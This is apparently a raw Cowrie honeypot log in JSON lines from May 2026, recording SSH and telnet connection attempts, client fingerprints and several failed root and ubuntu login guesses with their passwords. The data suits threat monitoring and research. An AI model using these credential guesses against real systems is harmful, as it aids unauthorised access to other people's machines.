{"eventid":"cowrie.session.closed","duration":30.878041744232178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:28.039408Z","src_ip":"107.155.66.219","session":"7efa3816d5d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43572,"dst_ip":"159.203.135.109","dst_port":23,"session":"45824d5e77e7","protocol":"telnet","message":"New connection: 107.155.66.219:43572 (159.203.135.109:23) [session: 45824d5e77e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:28.096495Z"}
{"eventid":"cowrie.session.closed","duration":30.90537714958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:29.047337Z","src_ip":"107.155.66.219","session":"eb80044e270a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c25f95803d","protocol":"telnet","message":"New connection: 68.178.160.252:56954 (159.203.135.109:23) [session: 05c25f95803d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:29.877337Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vw123456.","message":"login attempt [root/vw123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:30.073961Z","src_ip":"213.209.159.158","session":"1d851c002d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.720794916152954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:31.995290Z","src_ip":"68.178.160.252","session":"9dc56f0d9400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":16464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eea7f72d826","protocol":"ssh","message":"New connection: 118.193.33.81:16464 (159.203.135.109:22) [session: 5eea7f72d826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:32.057868Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43588,"dst_ip":"159.203.135.109","dst_port":23,"session":"e91eb8d1fdc2","protocol":"telnet","message":"New connection: 107.155.66.219:43588 (159.203.135.109:23) [session: e91eb8d1fdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:32.094462Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa9494ffc3c8","protocol":"telnet","message":"New connection: 107.155.66.219:43592 (159.203.135.109:23) [session: fa9494ffc3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:32.152188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.042512Z","src_ip":"118.193.33.81","session":"5eea7f72d826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43596,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcc67556c65","protocol":"telnet","message":"New connection: 107.155.66.219:43596 (159.203.135.109:23) [session: ffcc67556c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.110467Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.253638Z","src_ip":"118.193.33.81","session":"5eea7f72d826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43608,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b44cddbe8a","protocol":"telnet","message":"New connection: 107.155.66.219:43608 (159.203.135.109:23) [session: e3b44cddbe8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.330514Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.446969Z","src_ip":"213.209.159.158","session":"1d851c002d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61086,"dst_ip":"159.203.135.109","dst_port":22,"session":"082d022613f9","protocol":"ssh","message":"New connection: 213.209.159.158:61086 (159.203.135.109:22) [session: 082d022613f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.524777Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43616,"dst_ip":"159.203.135.109","dst_port":23,"session":"510f10481559","protocol":"telnet","message":"New connection: 107.155.66.219:43616 (159.203.135.109:23) [session: 510f10481559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:33.993579Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ba123456@","message":"login attempt [root/Ba123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:34.155725Z","src_ip":"118.193.33.81","session":"5eea7f72d826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.433600187301636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:35.121053Z","src_ip":"107.155.66.219","session":"c7c734503ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":43624,"dst_ip":"159.203.135.109","dst_port":23,"session":"8835ce298966","protocol":"telnet","message":"New connection: 107.155.66.219:43624 (159.203.135.109:23) [session: 8835ce298966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:35.175232Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:35.377333Z","src_ip":"118.193.33.81","session":"5eea7f72d826","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:35.679658Z","src_ip":"213.209.159.158","session":"082d022613f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:35.683527Z","src_ip":"213.209.159.158","session":"082d022613f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea05397187e4","protocol":"telnet","message":"New connection: 107.155.66.219:49854 (159.203.135.109:23) [session: ea05397187e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:37.140850Z"}
{"eventid":"cowrie.session.closed","duration":30.732837677001953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:40.026406Z","src_ip":"107.155.66.219","session":"b02b97ab63ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507104635238647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:41.033926Z","src_ip":"107.155.66.219","session":"cd35745af2ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693718433380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:41.064517Z","src_ip":"107.155.66.219","session":"9531037f39b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139158010482788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:41.154969Z","src_ip":"68.178.160.252","session":"c7403f98a94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":46304,"dst_ip":"159.203.135.109","dst_port":23,"session":"5176488d1a8a","protocol":"telnet","message":"New connection: 62.171.135.55:46304 (159.203.135.109:23) [session: 5176488d1a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:41.689970Z"}
{"eventid":"cowrie.session.closed","duration":30.83773446083069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:42.085226Z","src_ip":"107.155.66.219","session":"17b159c1a918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920076608657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:44.029431Z","src_ip":"107.155.66.219","session":"1f0ffad15b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":49856,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3dd9bae25fb","protocol":"telnet","message":"New connection: 107.155.66.219:49856 (159.203.135.109:23) [session: a3dd9bae25fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:44.565923Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VPS","message":"login attempt [root/VPS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:45.009237Z","src_ip":"213.209.159.158","session":"082d022613f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58383870124817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:45.084490Z","src_ip":"107.155.66.219","session":"290ccb682d20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48110,"dst_ip":"159.203.135.109","dst_port":23,"session":"126695fd41eb","protocol":"telnet","message":"New connection: 107.155.66.219:48110 (159.203.135.109:23) [session: 126695fd41eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:47.405451Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"022adffb8128","protocol":"telnet","message":"New connection: 107.155.66.219:48124 (159.203.135.109:23) [session: 022adffb8128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:47.530160Z"}
{"eventid":"cowrie.session.closed","duration":30.780625581741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:48.026960Z","src_ip":"107.155.66.219","session":"67fcd2d397c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:48.265502Z","src_ip":"213.209.159.158","session":"082d022613f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19760,"dst_ip":"159.203.135.109","dst_port":22,"session":"a60021882945","protocol":"ssh","message":"New connection: 213.209.159.158:19760 (159.203.135.109:22) [session: a60021882945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:48.353100Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":35914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c145fde067fb","protocol":"telnet","message":"New connection: 68.178.160.252:35914 (159.203.135.109:23) [session: c145fde067fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:48.523701Z"}
{"eventid":"cowrie.session.closed","duration":30.68624258041382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:49.026838Z","src_ip":"107.155.66.219","session":"62ca1b3e2e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48132,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d11a2fb2de","protocol":"telnet","message":"New connection: 107.155.66.219:48132 (159.203.135.109:23) [session: 80d11a2fb2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:49.187621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:50.386479Z","src_ip":"213.209.159.158","session":"a60021882945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:50.389898Z","src_ip":"213.209.159.158","session":"a60021882945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92303490638733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:51.024986Z","src_ip":"107.155.66.219","session":"3749d2d99b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927002668380737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:53.065787Z","src_ip":"107.155.66.219","session":"35eae0d0b2a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579993724822998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:54.030530Z","src_ip":"107.155.66.219","session":"53a6850c290f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":52402,"dst_ip":"159.203.135.109","dst_port":22,"session":"7264ed6a5a2c","protocol":"ssh","message":"New connection: 43.159.177.40:52402 (159.203.135.109:22) [session: 7264ed6a5a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:54.616840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:54.626472Z","src_ip":"43.159.177.40","session":"7264ed6a5a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:54.691207Z","src_ip":"43.159.177.40","session":"7264ed6a5a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2024!","message":"login attempt [root/admin2024!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:54.962716Z","src_ip":"43.159.177.40","session":"7264ed6a5a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48134,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb99a5353530","protocol":"telnet","message":"New connection: 107.155.66.219:48134 (159.203.135.109:23) [session: cb99a5353530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:55.242176Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"be4db7a0a7fd","protocol":"telnet","message":"New connection: 107.155.66.219:48136 (159.203.135.109:23) [session: be4db7a0a7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:55.256861Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.040825Z","src_ip":"43.159.177.40","session":"7264ed6a5a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d6eea5604c4","protocol":"telnet","message":"New connection: 107.155.66.219:55638 (159.203.135.109:23) [session: 3d6eea5604c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.046620Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":59208,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7d95dadd92","protocol":"ssh","message":"New connection: 156.227.233.77:59208 (159.203.135.109:22) [session: ca7d95dadd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.098084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.103052Z","src_ip":"156.227.233.77","session":"ca7d95dadd92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.266864Z","src_ip":"156.227.233.77","session":"ca7d95dadd92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user123","message":"login attempt [ubuntu/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:38:56.948767Z","src_ip":"156.227.233.77","session":"ca7d95dadd92","protocol":"ssh"}
